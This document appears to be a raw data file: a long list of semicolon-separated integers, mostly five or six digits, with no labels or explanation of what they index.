54254;100158;92343;65340;76206;26171;79521;20626;39904;67525;93704;81025;76001;52668;20826;94728;25422;49818;16268;90370;61430;69993;57966;71976;26950;80556;104601;54858;12933;78718;16577;21315;78495;32130;85008;76840;81792;66741;78618;89470;44771;100815;43475;23129;104249;94215;49329;99089;86880;100655;90737;36301;85916;40849;84959;67168;80592;18966;66383;25860;100516;78070;53012;87735;66884;66226;87269;82832;35559;47117;21049;66273;11554;106880;33342;75974;64397;76338;54838;86264;58284;81242;20096;53764;95584;34041;24035;58384;24404;29939;88897;97418;33170;92825;66461;13854;86094;77208;24694;97321;13857;49676;43655;44140;41090;24648;27858;93090;58020;50809;71174;73997;13989;89806;80894;97169;15710;62299;101795;72910;75634;18559;78378;36211;21813;30515;30474;73098;104223;53007;45620;77285;96611;19052;77121;20651;59384;104863;76792;58620;70566;78716;102755;86788;23758;56368;97313;90133;99985;42724;61448;89490;30416;51365;95758;24205;14386;25263;64941;74099;105409;24872;33790;13207;96468;78145;22395;90153;57713;61615;21676;75257;10379;28153;54245;69117;99057;66889;92650;16038;17647;85135;71395;27524;105994;78898;51107;70861;93418;38609;72331;83887;51983;51120;80619;101285;14111;30482;99093;79173;32290;75678;52428;87588;41111;79131;106368;17700;76511;47809;20487;83267;89287;74130;34759;82028;86524;93250;10708;94008;34918;96391;59400;52861;43590;99278;83618;46849;106682;30122;24206;36317;59709;105991;89104;97172;82993;34780;82288;67814;36919;38519;46207;106546;66067;32017;49739;101071;83469;104527;106930;41537;60189;40508;101859;57402;96674;86343;19550;94066;99818;31084;36155;26990;87769;73221;18133;106683;100177;76641;60931;99276;91064;56269;46739;25731;104204;102353;85152;63059;35498;24989;19585;44679;21274;45043;48545;13385;69983;65417;74084;24001;87654;67444;75138;78050;14308;105555;24447;67149;81289;32442;49380;38345;95877;19467;32000;69947;19759;94160;62062;40179;23913;100867;19334;58368;79636;48734;68827;82010;44177;34539;94397;27032;38323;79933;81976;71108;83751;85166;63691;86950;47678;62471;32963;15435;31071;49824;36272;40501;45568;84402;39271;60444;102157;77132;87650;41329;13464;63304;58881;61281;57178;80566;101278;105957;93225;58521;105529;102073;51647;105673;80538;31065;78123;42178;58444;18679;40821;77662;35701;67268;31293;76536;20565;40287;74454;37223;31544;12082;79418;91179;65838;63658;15680;103467;82507;52755;44461;75861;91488;18425;34247;21380;66605;48499;83536;42532;106094;61130;31169;101892;26548;38502;85118;67860;19895;45313;42282;37489;16062;67224;90092;77141;34189;12060;38546;75583;87557;81593;62792;105942;43359;75901;90705;35596;46538;80090;25101;74818;77646;30032;32516;55629;44079;80194;59669;33237;20351;106838;19514;105320;42834;59266;18030;102921;23451;106340;66966;53192;23154;101931;54613;102805;61573;57599;74655;58311;55498;30985;46868;20086;93421;86485;32937;37438;27498;55976;27982;21332;200068;15886;57851;63909;83329;94814;50741;55077;30023;72149;78842;26236;56916;84467;21916;61623;31108;44723;12815;71717;14381;76973;54615;45247;20678;59906;52053;61987;60318;75140;52877;42528;34345;84306;91720;33148;11721;106313;103961;53761;79156;64879;13632;51474;89958;21511;29268;47002;97275;24147;47005;84762;58592;102366;93937;26117;22028;30363;79122;99681;49150;58648;10709;71751;89013;43740;72246;93005;59608;100725;44692;47588;87963;61681;47171;32997;53216;71902;76320;75792;38158;69757;64025;69206;56087;47743;43367;89266;47161;34060;17117;84253;30252;27576;82752;71959;49040;38538;87393;61677;48669;71992;66719;16269;55544;71464;88621;23369;34274;81099;36537;23511;17499;51231;35400;62262;29871;71988;48750;68431;93379;49726;78857;29500;46335;57690;16761;103634;91993;40424;21847;101888;97029;29906;25182;89826;51100;52866;13510;82521;96553;38982;64855;51693;46356;82043;85538;26141;81615;20308;30555;80677;63887;106463;71628;97705;38954;45484;43964;60975;55075;51670;86587;24195;10304;79720;28179;71601;10064;30314;78069;25482;94475;28753;10729;90853;53261;58817;48864;29151;103184;75517;22198;73040;45752;68164;16596;69638;54777;52807;45534;61347;87924;92934;75042;39579;95509;76851;77004;48654;84167;93117;81261;26376;86440;42393;44125;54582;68383;40339;49223;75035;70651;87135;107044;97133;19096;50756;34803;85223;57951;58738;60515;64763;100674;46071;91882;34774;27665;50247;19116;62765;43957;103570;60293;80399;47415;32892;65275;52626;65670;52572;13149;62934;15638;61678;22535;92183;72393;49160;25405;103254;58429;71069;84041;85546;99465;14199;17480;11933;45013;13217;18051;106273;94406;20516;16757;91264;30677;60226;32366;87421;46072;17276;83792;100922;11374;20825;85220;72676;77079;100114;63364;56639;78641;19623;48204;69761;39830;58089;37322;31540;38140;26085;24093;72109;71823;104605;77593;77611;17350;104240;66210;81819;93386;44401;72394;76850;72365;104199;68613;80694;106544;105875;61105;90509;71181;15118;46562;24663;86523;44820;32857;67960;27296;77663;50625;88735;88554;95456;61189;94240;58419;78914;27794;39686;87031;55416;47545;17270;75193;101303;100803;100518;103191;12690;38350;65765;26331;11688;34264;21421;51949;96033;67812;58565;71934;19264;80436;103760;93873;74652;84802;71452;72694;33289;103503;24401;67504;32111;56518;90411;104532;56117;61682;43718;73115;87246;90969;73520;68269;14248;22208;101201;42300;72629;43577;14644;10757;56194;29361;84644;28445;76873;81147;15982;61958;58983;93970;16588;72048;20593;74405;46498;89633;27856;30460;86840;70410;36052;18255;104778;105008;16806;21302;10407;34162;64476;73313;70204;86364;57898;59656;52803;28025;93769;66265;61956;100008;28020;67601;73797;64757;77811;86130;12020;104878;65255;105769;28960;23195;61232;67318;82969;49986;87829;52349;69255;105670;62904;61273;24014;90401;42946;72124;69736;75178;25307;64019;31247;56190;55817;42346;82149;60903;102075;11207;21733;14577;63254;94839;79235;89778;91894;36182;35321;105444;58851;16304;52555;97218;69750;74452;96308;77191;13843;41374;102968;20185;99551;95762;70987;105307;45891;19225;79176;17388;89279;67361;86676;89088;68349;104557;84353;56101;26423;55578;79909;30075;56727;66280;82050;78252;65820;72979;79904;31226;77742;12897;89429;84035;29764;96310;66969;64599;44097;90104;42506;94854;62335;57502;42521;103735;67848;89322;83194;63041;51930;67214;103350;85777;52135;75408;15194;46437;72500;61270;52494;86764;88388;13353;43612;43419;84651;57914;54213;48622;65304;85580;45679;95409;26210;104267;65006;68131;14607;85513;51450;97764;82611;54017;84065;76563;17060;30627;87376;58535;28065;200145;69349;30212;17138;106888;82530;33332;83572;28335;22530;34347;13870;70890;58913;70463;106115;44765;85231;99607;74266;46780;69067;84691;47348;35212;26989;60944;51465;23935;71861;82616;34314;77217;36748;54155;80511;32424;24470;63799;94134;52484;87727;17555;30615;20596;52234;45746;43994;25681;55064;59988;21980;53390;43399;79329;49166;21397;62880;29246;37795;78302;52144;74623;12517;33794;85969;17614;58716;54841;81721;35474;17258;84519;24117;91927;21964;96834;26991;29281;105318;91816;68114;99017;77780;35546;40263;91075;70205;18684;93839;13990;27842;66556;14394;72197;35832;30351;28537;91432;12726;60752;51532;63009;47057;100812;66188;76234;62342;32673;59509;11425;96575;83499;44007;100919;63409;63939;26237;18857;100362;76243;65675;88467;52407;86311;29287;62520;51322;48396;31982;45295;11985;18278;33882;71421;26465;16088;60290;97627;56105;99379;34047;90418;43494;91230;53383;78419;70577;74398;63399;44371;105913;45686;84503;14743;45231;27030;19468;93484;84729;99445;52510;30475;19543;106036;19466;12501;43850;58856;71232;13299;23266;93235;28304;44412;44033;44123;27688;97147;11771;85974;14150;65813;58047;56720;36477;77427;55950;36859;77051;94322;22122;102791;87534;91971;13889;75356;20846;33629;51973;94104;29773;12507;72846;38275;19331;77399;51427;12695;67817;102027;38424;84558;30233;81557;63774;35784;74847;45818;35169;35500;106588;45506;70695;74946;20558;41227;28677;103110;39966;17356;73326;68013;44920;21069;73786;92037;73779;85519;47333;27722;46001;65688;80526;11004;106009;101091;12801;22781;19289;105578;85150;96534;64102;39408;38157;14047;89209;35373;101470;46313;26467;47272;86539;47362;35713;53515;34984;53733;97347;50308;35411;102616;100726;44718;39027;89791;42357;59212;53102;71521;50848;73535;103597;59522;22357;91143;31466;34507;51808;96808;96927;74871;15599;22217;74177;20769;42390;102525;91624;82013;65750;74578;66066;42914;40953;39914;95279;24355;22430;39045;65295;35574;94227;73513;73979;27089;60210;90223;94024;15621;97214;48906;24012;36091;93870;29407;41929;47291;45085;46323;16641;23521;105040;53157;57888;41599;87449;96109;46443;84471;19408;75082;30203;99535;50597;70306;69748;56997;46064;60320;25922;14931;29584;83048;96295;28805;92277;41697;57584;79586;48794;30986;36397;106532;31464;61263;88856;21491;34052;54651;81949;27672;82087;90052;31369;51538;60842;100499;50641;24798;92700;62017;18177;37213;96731;16700;17582;69880;10947;82535;85984;23405;60774;86585;21853;104272;86757;64125;29205;59015;72089;95300;48814;65990;32334;14895;41387;35001;70341;67743;56756;92106;35916;99933;97989;55637;49440;89018;80172;10114;66267;89900;83168;56466;80233;100645;52235;88901;30530;82172;73129;51454;92886;92870;62030;55879;74318;104189;20640;75442;66085;90962;44640;78355;16709;82029;24163;71926;14768;15884;39859;44994;200057;92386;93048;21227;19813;57517;106206;42610;28628;73329;102011;101909;24013;93763;26061;28053;16824;88469;67364;40810;11921;75387;19700;62656;83904;17606;38709;57407;28188;21640;20888;69851;34329;70455;31556;84492;27225;26610;85562;29264;47868;23551;95454;30603;15999;74366;103287;21773;87852;58650;65790;62788;17479;25357;58386;19451;33715;84442;93579;24703;52512;104974;47701;92884;94808;94408;36220;72057;26784;42263;91212;73434;82786;93604;53276;81475;61709;72103;15658;76377;33470;68767;37495;97331;63679;68933;20149;94040;64821;93942;20917;106064;15476;47392;72498;10636;75191;56169;53850;69133;42423;100652;90473;25658;54663;104494;29222;106475;103901;47440;54501;18475;26272;77464;69510;74513;47360;35140;85330;22786;19932;12199;68057;97262;35449;100452;47178;49511;50752;46489;66883;35925;48954;91118;25012;82594;33400;80205;103137;85680;82246;70868;68998;63339;47443;26077;61565;66419;84188;14624;39272;101520;74967;90469;78219;45400;67366;82970;90360;75006;90958;85851;12462;85688;45405;62830;14917;23538;28864;10458;56895;97527;41536;103536;87725;76019;79513;106144;20537;23604;60532;79483;25062;35135;28920;47164;87322;10104;55929;29292;76117;56787;22700;67640;24582;85987;34917;18076;94255;28661;72842;74322;51708;105284;42469;82254;14056;46677;93426;43422;51717;86538;66213;62734;77358;42769;67409;85169;85972;70870;77346;39224;91340;67228;81382;19458;105731;77826;75174;80533;47445;11713;31951;20183;85698;84689;15896;40295;60840;67482;63992;69835;52975;16284;24768;80950;31032;70441;79854;29518;100282;34353;94847;105955;96911;78771;96020;30209;72446;14612;100223;101914;85989;51093;12491;26318;82482;102807;94699;88478;74802;100039;59703;15645;95542;77880;47797;38170;17346;31988;14062;25016;68053;47354;65025;103349;76617;104697;90691;27260;49061;93621;87915;80785;24044;78176;36367;67406;77024;62522;28809;17688;37454;27714;93779;41587;104375;40200;76896;92075;99789;44944;104143;103179;21091;62054;104534;84488;66701;46030;49311;94828;56963;101545;27149;55363;29139;44336;101245;19664;82921;37704;44345;34843;29842;29482;80777;106012;12771;11493;103983;26135;17344;25314;67052;84502;96509;57060;34436;17799;14028;19439;53119;44511;43194;57981;91531;96985;59774;92231;11639;72233;70650;12833;200124;18225;79662;81857;67697;83608;76551;89366;14941;42529;94443;21497;17734;81804;102813;76482;13197;58040;50698;20389;30241;14304;96545;14071;26717;20246;27865;21688;68549;106035;84800;87242;46090;25610;64685;102531;67385;76459;96571;32621;100844;31192;82492;62488;22729;29130;35775;70098;42703;25970;76444;74455;37475;38571;40286;66759;67054;54196;15952;92174;92788;70875;81444;32406;63793;63701;48170;81182;92809;27572;96660;22896;102285;72933;22471;94692;76608;28152;11473;69235;42853;87818;49128;34788;64016;16233;49447;43257;39268;64796;80912;25612;106751;69185;88833;76647;200039;84520;73260;50825;30799;69839;19352;94313;25976;31231;60872;99004;103202;100738;97712;23012;16987;84990;49444;32527;69016;88482;67573;65131;65151;74844;14549;84001;52172;30012;105928;66242;93528;41972;47575;16424;15801;95314;71346;91813;92222;29958;92079;78791;39297;43133;10826;63473;16751;75751;101178;67101;104144;101117;95792;86088;55374;41762;58537;90304;100587;79533;50675;46089;39024;28936;34238;41917;57216;66344;32985;23691;49452;39964;13429;13090;67777;93183;70647;28746;102946;81335;56403;26348;46940;54827;73281;12413;81137;92372;37496;10341;22169;102313;29661;88155;76054;43855;69389;75626;44463;25540;82194;57604;67363;104136;74774;10441;40213;68085;14004;84103;45663;29360;36950;60034;35562;10076;18327;33640;32260;73471;87406;102059;93812;22294;76335;57438;50764;13387;76795;32607;64074;84607;18795;94353;57270;100192;25121;97780;96492;66689;24521;42180;77159;58642;11786;71687;44427;76415;38093;57180;23599;23199;78428;106553;63403;34447;77268;62588;90776;21405;33465;42932;81262;68003;58971;14634;72631;59213;90003;68040;62577;82121;87144;104994;63094;101765;63830;31220;91652;90708;91622;38452;63297;29492;17141;33067;10778;18405;41192;82456;70043;25715;97861;15977;13717;38304;93693;80462;94270;100612;32376;30804;77731;82374;56910;18332;105255;22846;93223;88057;50938;90954;78585;20772;104864;96629;33114;29728;77030;94320;46133;62808;105773;24562;101341;104063;95031;58865;19607;72443;82157;41259;87348;35601;80254;105327;73243;34093;50232;69976;91127;95856;17746;55534;60112;93220;57657;101239;21035;39497;79815;32864;16576;96241;63510;54222;29462;88706;62580;25804;83515;44828;89562;84969;31741;33182;72108;77407;11702;74446;97333;53135;55434;17577;44246;20635;84562;31305;89248;79782;63594;40732;10083;24854;83407;65848;51302;93440;101374;81510;96024;28525;36535;22181;92591;76260;53294;57541;23803;68156;42420;79253;34387;85686;23384;36777;39439;39760;105785;59792;26866;74751;86118;64065;40415;89907;81714;64615;54300;29847;86509;104535;48700;86266;35064;43527;12723;53161;74248;42025;86339;34461;17588;35167;97303;51370;39405;86867;18907;63582;54677;85171;44236;70805;62001;14098;92054;19477;13528;25516;63196;91241;103358;69397;44797;64728;49202;64791;94192;84799;38955;67242;62328;48795;82497;11943;25591;65474;23257;60862;75656;88174;73662;62558;26499;105132;33986;104967;39155;32850;22975;88631;26166;48361;103295;42228;103789;94311;36579;106594;102375;100722;64558;23801;26505;21646;62679;45140;93851;105917;72683;25873;82193;21522;80028;23232;76901;72285;56229;88010;43063;95928;97211;103575;25725;57728;26722;29431;23386;97730;20324;25343;43259;106429;36573;20648;61302;46280;21392;26201;61935;59466;27893;83602;33243;94121;24921;57155;107132;77566;29946;30253;87625;26627;40635;99032;62377;51788;36102;35077;20442;86836;33676;28326;103494;54382;66567;29085;57838;18646;46511;37793;102820;35978;47582;63317;55343;93859;86750;10223;37975;101785;28379;70838;70446;51456;38683;36138;36536;89670;81943;40086;100119;96866;29094;59186;64936;71351;68883;85752;45801;38543;64289;65603;83071;15050;93563;49502;50492;51741;66254;36057;62150;15663;37917;34744;73493;15170;14417;49995;83341;30838;67093;30508;71457;82207;51249;71253;63092;65782;14146;65770;27221;49655;65858;104472;72615;15631;35265;71566;100172;89951;67585;42483;63313;38159;15056;40797;53687;56741;86120;16819;101330;10065;66861;35527;102590;13540;76926;93547;84347;24637;85881;79072;81925;78013;97922;15025;94273;40202;84695;84693;63786;105483;75113;42062;22748;101338;106825;81709;20760;13455;103991;51545;103703;10473;80315;78814;84449;99357;50009;63936;38815;50610;57825;54626;12010;11302;94032;75103;106235;85796;16410;72961;24488;74034;35737;33178;46106;54840;106334;62161;25888;46471;32664;45486;33395;64515;34775;65132;38500;102849;90569;72998;10258;68832;90932;93622;66183;71306;99329;16540;90615;17747;93262;99919;87647;45864;26252;19360;83837;72569;46314;54639;71955;78952;19914;22286;106005;53279;92134;48572;93749;55070;77778;46353;44888;57002;56338;29152;14864;33699;60555;18144;83207;43319;89868;37725;99490;63043;43059;22126;91999;43631;71828;99077;22058;95695;78897;63075;16847;31427;28747;18704;70622;83400;36312;29012;44322;67401;76365;13411;37743;89444;66209;48909;11431;88695;97090;22870;45614;25545;61844;28862;18622;48460;44610;25022;70225;28748;21557;81144;15174;70089;45849;96765;71518;66031;35144;30036;88638;75732;103129;51452;79543;74521;74382;60689;93347;30497;57969;23631;35111;100009;36359;106986;85749;35768;86721;96251;82872;11147;80247;96569;70624;32938;33821;97610;74107;30138;91711;91034;106452;36193;44830;21832;20982;53489;105140;41503;58898;18509;46074;76380;56431;49038;99909;61552;56775;76717;71399;90888;32746;58031;40010;83402;87854;102370;44409;31905;28751;40645;65129;26320;35469;29561;64129;14553;48849;55885;74517;17194;87706;101214;29845;43185;71288;67968;55398;96633;32650;53745;67937;73394;95304;15249;73421;58882;11009;37148;16259;94329;12544;61090;74918;105985;57465;102377;10972;21173;12632;42592;19398;21005;56491;69061;61867;66277;15402;19620;11212;16257;70207;54081;77172;22197;46808;99407;54385;44295;26305;73364;94344;91714;21718;44970;43719;55286;48616;75785;71568;60871;64052;46485;24975;104357;54035;31551;90170;83991;24918;41218;70552;67326;44722;90574;19106;63083;40803;79423;80363;29211;67897;93493;62973;75764;95553;25998;40568;76113;94467;41005;86991;68147;99021;32298;46216;55792;83089;24912;37183;99398;22989;19563;70438;106710;44595;51751;61372;65309;48169;102402;45205;34782;11501;99921;48736;61388;34418;41211;73026;59067;86908;50259;32546;39783;18881;82238;74332;91476;48248;48205;56750;32035;32890;46321;94918;54984;14449;53993;80733;95704;39801;37469;76691;40802;18700;103351;33884;90217;72336;102439;40818;65189;41971;14934;60926;93253;32970;77488;102850;93004;30629;25441;66608;20273;11232;45503;52252;74163;56246;36478;101792;42148;58883;79165;90994;36910;66927;104408;104195;25007;34248;62234;47188;64379;89888;46199;78648;31202;28102;86068;14500;58257;55005;30364;82919;71736;25262;71980;51042;45919;29599;20746;27295;63287;38198;83892;13423;37641;91138;103829;70396;70100;71957;15443;81750;21044;69327;31575;30815;93795;82470;14906;28106;82074;47783;22744;93236;23570;41632;22067;12453;100104;29394;95709;87188;82971;55893;103073;105707;92532;60890;60861;16807;56759;38320;42145;71659;23656;27995;12789;79378;37358;87448;71125;97342;28254;13710;92446;11205;29471;105077;42573;34754;38696;12073;81978;48598;32868;105043;16068;42782;41770;103813;55466;94981;27314;24565;95033;33252;75781;88563;94829;38313;67782;27067;72406;48330;60831;91982;62667;91708;26833;50710;41236;105853;24079;94149;60314;23121;17068;95271;35993;31140;46276;79498;96914;12984;60325;22053;46366;106125;72603;91102;96453;101003;49446;87191;22261;37841;37570;42790;35014;72781;84108;97894;57815;52718;11545;91281;68553;17063;23988;51245;47758;25639;88666;26083;70114;68708;57757;76598;61018;64608;65058;92498;32314;20671;22472;66396;71078;61192;100751;103545;44538;74492;15676;13847;20373;17568;73661;49927;103370;65595;85449;42264;39440;42322;79638;25161;46935;65639;75190;52996;100566;14921;56197;51627;97492;55403;66106;106778;20509;19919;92078;32438;22745;79220;51276;30389;90655;55248;37099;96491;72119;85368;79932;88117;26107;15915;32355;103660;102355;65228;99795;21180;16323;81958;63655;25145;14095;56502;38062;38416;100252;102387;17353;91338;28466;12428;53914;61321;59502;25088;61460;85958;41834;32268;59916;106026;31999;24886;58091;52891;53061;47632;92165;23327;75251;24518;79545;19120;97240;100880;21961;73199;10068;26711;52721;16286;102594;68962;21836;22674;56280;28246;91631;15600;34607;104796;68765;58147;99426;19996;51225;52109;34304;64408;32498;77038;64785;100024;82315;93965;97023;82249;15741;63385;39154;101144;11727;52459;93355;23542;35674;31561;44032;67633;58853;34916;80571;59836;82804;78301;57540;63183;24797;28488;59404;26314;80346;57918;58043;23182;77513;94755;49233;25339;35165;38360;37810;62439;12523;23033;42872;35963;73423;86756;73450;45792;75586;58657;25485;87938;71460;83075;68125;19963;84612;41870;61114;97485;93835;105662;79966;57585;88456;57119;27000;106258;74786;26773;39802;95502;36038;76030;13559;96356;23683;78088;13602;85558;18349;31672;20100;101370;19438;32654;24062;25233;15208;93490;63376;69252;72526;31599;103221;52226;65405;46282;104076;36968;12265;48699;69669;13291;31136;90728;51756;55981;93585;14988;16382;58490;50063;46705;61626;16189;41521;72691;99738;58270;63902;60075;91742;57865;63634;69690;37635;15323;22931;96382;79911;51036;40646;53937;69262;102145;13913;29874;40888;21464;52645;47497;24193;73950;30732;25927;79001;61861;57238;14674;66658;62191;32118;50572;56029;76569;26980;66217;107068;57872;61291;101170;106227;17454;104179;26327;35339;51816;46735;17713;15153;52796;22840;21657;75180;42562;37302;58169;64076;74594;21970;35289;29403;85348;61775;10478;72587;65402;79688;49842;106496;81880;32502;106394;67649;50346;94137;47053;52734;78492;91836;54479;72218;32578;43857;74900;30809;13573;80992;41103;71003;66076;77186;31473;35647;25785;107100;73570;46058;91583;37376;59248;26413;47012;37887;70656;94577;45862;63239;25887;106533;78459;46760;73237;65709;48468;42756;30632;24272;97197;62442;42644;35043;56848;54656;67382;51307;96142;12342;88379;82038;82561;61713;46543;24396;50474;19146;22499;96327;103470;101321;105311;74172;92805;86159;52860;100218;23778;54773;83002;101115;81835;59468;104328;27175;80610;93583;54865;57225;63072;99869;47476;52814;97471;54879;74604;24805;31785;39981;26918;26782;71741;76498;32852;105903;43919;60873;68551;69355;39012;75454;89196;106067;91820;21363;33143;73204;63120;100003;64601;75658;27054;53624;71285;106030;18830;106936;32562;47796;105306;88086;94983;30947;28857;66438;24256;90893;31196;52468;65540;40908;72669;35034;96332;90964;35612;31115;200135;22995;11018;50054;74401;44776;86752;19085;36492;83312;38636;24808;15668;74415;83958;35665;77321;57557;96254;92506;76614;40690;106393;79776;61508;100129;58025;85956;80337;30592;59306;90376;70826;24303;97134;34201;71558;100851;85052;19249;57128;57356;49146;23082;30617;21627;26683;101188;39476;46838;46816;41660;61277;42375;38045;66624;31204;33458;91345;76470;90810;85990;101011;89754;76271;70595;58609;45050;37759;51152;93832;45489;46018;11744;88069;99717;79453;22283;12213;81494;42288;96833;47751;43733;39055;19773;88877;42791;66885;84678;107000;53634;33621;24444;60084;25455;50161;32574;84916;19533;49867;28323;82540;30638;11762;87234;86834;76164;19496;43914;29623;79289;92634;103459;48762;57732;43478;62394;21432;90131;85654;42767;35025;53862;33804;92676;79277;89770;32743;41291;38146;39925;16721;55915;48393;20253;71582;91409;20451;23858;39858;92433;82105;90631;32622;106708;90625;39665;36593;34781;13137;78735;88985;92450;11700;77869;106312;65898;21184;71185;104415;78985;45423;72076;50469;84248;49593;55411;60896;64420;79891;57797;12588;90740;56142;29954;54947;106446;15394;65072;106143;26862;89541;28939;19690;28796;10399;106247;82032;55969;79067;92312;51194;63119;44897;47485;19845;69846;76994;45376;41338;12396;79506;63926;16566;30953;57895;68022;82933;50635;82811;43427;28739;20175;100087;10854;79798;73322;99611;76010;55914;101724;84791;64689;81666;40578;28001;49872;92390;52623;71697;44989;99811;27167;12866;68867;48349;75437;92973;91605;26009;16429;19044;83794;80290;59080;27792;16364;92323;54556;62368;20245;71341;35767;43273;35865;51837;93187;33487;16879;72360;84733;99509;87081;84272;41431;51897;68021;41232;102226;106827;50217;46921;55410;77152;96227;35969;84887;41592;101143;26677;101729;22743;13053;91948;61375;34409;47892;72059;102523;49791;16474;65039;49095;56092;89096;14543;81364;53825;34703;59927;77519;34385;89690;76430;60566;27719;103687;52950;92407;81014;85789;31552;42952;34267;31439;81431;97999;70841;73688;58105;18249;10655;61969;62612;69593;50897;35401;35597;41674;13605;64540;93681;71238;32905;49021;34156;34836;81282;82599;34584;67843;59112;28059;42336;77649;68943;31968;55396;39188;106185;42598;10512;78400;93025;84595;101200;26513;17493;17197;32439;17529;38676;83253;46695;71373;35439;53372;87099;22452;62143;83276;18761;38948;76956;26681;84852;36647;50380;89237;106587;42081;10665;104824;40759;24903;61349;54431;23202;95837;24718;14997;46737;63912;48933;12575;45554;105058;96271;82414;76754;102654;23996;84196;69483;14991;69057;35956;77717;25501;78674;89548;18385;50973;75615;89468;93192;57614;54652;80999;100015;95422;33277;22231;80765;27746;103117;80403;23583;83513;52905;94620;87162;14401;63743;42031;64580;28349;50200;99569;13706;85018;58474;88734;36725;90236;100843;58041;66541;72666;56579;51143;52766;14093;52865;45207;57203;35355;74384;16963;36204;42325;79518;26522;103707;84367;42275;44553;46325;10693;66513;77363;35949;14545;52272;41546;105262;94618;79695;68012;89387;82444;83008;63111;61008;85748;42412;74556;92238;58788;61420;21322;32110;62824;39293;30301;64339;105866;58418;54053;39835;46317;85609;48416;80442;102962;96525;67530;80257;56479;24190;33490;65471;52783;76557;81376;63890;61854;73236;102406;20166;27424;23477;28911;94037;71830;94563;100081;93329;19086;47208;35260;76520;85618;73361;86250;107060;58702;45901;14690;59243;78397;106431;81021;55573;66283;91100;87454;69448;77032;19175;41629;22765;45255;103927;41470;14129;16637;54142;25986;76963;63232;49157;46159;46565;46331;69144;61483;51699;78109;58506;102621;94065;50184;40910;25924;15562;32919;28242;36450;19221;67759;23877;24106;84434;27464;42102;72364;38742;92214;63273;38992;29810;26072;97719;60626;75311;96300;67739;66634;72250;49569;19861;70613;20692;60750;24577;19947;50477;80481;100986;81351;41250;105269;56650;46619;65329;90561;45603;79818;37541;106294;31667;30978;70519;21649;65744;11737;42238;37786;11778;81512;10147;20211;28692;41421;71644;72407;75218;18655;59166;28478;71038;65602;79795;103084;83715;64451;106907;92529;56322;29355;101928;67972;40498;80122;35867;72445;78620;73274;34481;43408;97909;92645;14839;49079;11573;57350;56575;77505;31648;47598;64474;93177;67272;18077;26159;71158;96941;78331;44189;33762;35375;92607;22886;65651;24906;55693;14949;81891;78290;75665;72884;62154;58941;59035;81330;71942;19413;47682;89483;28395;86720;94188;64050;77508;30845;59729;51135;103078;14088;19017;39011;56844;85016;56347;91736;27942;51748;95021;34688;54516;104310;103889;32947;60272;14022;81851;42266;85040;99552;58503;12813;65807;20925;97469;91042;75188;17402;65145;37176;13066;84807;105720;61393;20424;14725;91953;36185;50659;48565;56008;11522;48959;58206;63797;56436;82910;102456;11615;23695;84973;84483;89035;72738;82389;41498;46682;34765;74540;20156;81708;76501;64874;41911;64361;19942;39522;79934;15028;51357;63243;96673;79090;100293;93367;92099;63298;100047;83526;65996;67895;72775;78709;53901;27759;81123;69671;54098;42536;103006;15441;83855;100960;18803;87420;68478;90060;17818;58437;44540;31516;29658;28091;11667;64934;15885;62490;26485;40347;86092;106165;53647;13272;33274;16219;95520;53431;40230;24977;48655;27365;12651;60956;86113;88943;91181;106241;102186;100417;56927;29928;43334;85614;17234;73743;34657;65335;77877;80755;71197;33245;89454;77396;39495;101265;28949;102974;78517;42523;37708;37465;24414;104688;33967;94379;106344;18502;74242;82452;102809;58197;59415;82186;95565;14559;73622;42761;24661;72374;32319;11459;95886;22060;67756;48760;23831;92621;25651;84105;93114;40913;54563;20849;62485;91592;10498;106819;70951;62932;18102;54195;63479;100493;77818;14151;43654;31656;95988;37647;16408;82171;77286;84101;27060;65810;74709;77729;27867;25013;33655;79317;33610;73982;37578;41519;62772;79630;39768;77410;63030;53062;51047;94858;31048;33150;30756;90192;26518;52809;48641;34564;62839;61023;17808;14014;17089;70449;91370;42335;104776;57955;18829;45112;87533;75954;92517;88079;31381;104900;104908;105890;92560;92699;49863;24847;67858;11836;40778;56932;41299;78690;25925;95779;72888;59960;62494;78434;84329;34779;36768;96841;54606;77226;44697;84663;25335;62333;95532;25431;105234;92775;49375;35042;103258;44129;54182;43084;66760;69437;80155;57610;104305;104476;73847;24046;51252;36283;37299;88849;58540;31947;64354;80468;28509;53384;61651;100730;18376;82707;32055;96010;86370;51849;41487;13027;92187;27802;31318;43097;47041;12522;47287;83631;61461;104368;90897;64042;25187;10058;95434;48798;45168;12441;86892;103486;33569;100939;11472;64876;16997;78580;96297;86607;105203;28183;50415;25392;90920;73812;89566;77142;24485;50490;23303;11024;102331;46021;101244;18574;55218;31215;32617;57886;36575;100253;11134;66751;104687;33667;95483;20663;55655;28757;106388;74114;100491;64592;62921;48563;36445;36276;34797;89102;30539;44135;62858;17243;83030;13723;16106;83915;24795;21413;97247;37861;38380;69812;21470;80919;12309;46792;49649;69376;94133;101241;38564;32904;100618;102340;94049;89937;42366;70026;56310;84356;86427;74579;84759;87021;69509;105198;15006;40745;11314;95685;79922;94570;43196;23059;90742;14414;106326;92197;26699;13709;65306;81646;19176;104941;67384;67365;92459;72653;83983;23722;69170;74529;62066;39883;91891;35989;91173;53339;88051;78765;59010;86010;70633;38746;84898;69776;78604;51124;58149;106771;65726;56983;79683;81183;73428;47261;65286;88559;45375;74763;60617;69319;103495;12308;89687;36840;103446;64462;27998;79031;89257;94742;16678;15493;38559;33584;58915;82718;47025;74198;67432;100031;95941;38582;41951;33261;105161;35152;29701;75284;44846;34593;103921;23226;61099;79530;99751;56674;104761;36217;75929;83443;44749;78893;23065;101014;26097;77046;68746;77029;55913;34088;86797;106169;107126;28521;75979;12208;89714;70088;22021;62214;16606;92116;58378;62449;82205;104790;52292;49549;28446;68388;81716;51989;23649;105099;29577;30983;81274;60328;65541;88916;35850;78775;81359;22560;49481;97592;28927;83698;18610;81453;40495;19641;46607;71439;42283;58077;34582;82245;59801;54463;77318;17265;104631;92874;49679;14319;66098;54229;65296;48289;30525;30784;51690;100488;25712;11078;28110;10442;82095;20720;74211;106370;64134;99995;64813;96197;28673;12860;17759;59744;68914;14395;48943;52042;19196;92003;75511;16367;89776;12364;72272;66455;60177;100717;105608;59618;104159;49501;32690;83689;52685;28124;22682;32223;55852;44012;29691;52805;94278;54997;88781;19866;33887;57406;75692;23325;12808;68202;104000;105115;73616;48704;23281;30826;93291;37634;17632;38602;73036;21732;34940;89616;56014;78328;70037;70024;10297;105992;86162;58637;24083;64283;58673;47879;12600;76443;50182;40126;25390;61253;11913;24252;52744;78177;12538;104529;12972;75297;82156;52613;56038;10089;96213;39173;93677;15468;60528;12333;27522;14029;15792;27721;93059;23320;103338;78633;96186;84827;49630;67469;68857;38889;34493;81816;85736;88705;38156;92698;64604;54134;30476;105381;62618;10205;106179;71875;26438;32403;95606;79441;48373;62649;76826;82422;11441;82549;74971;81365;49462;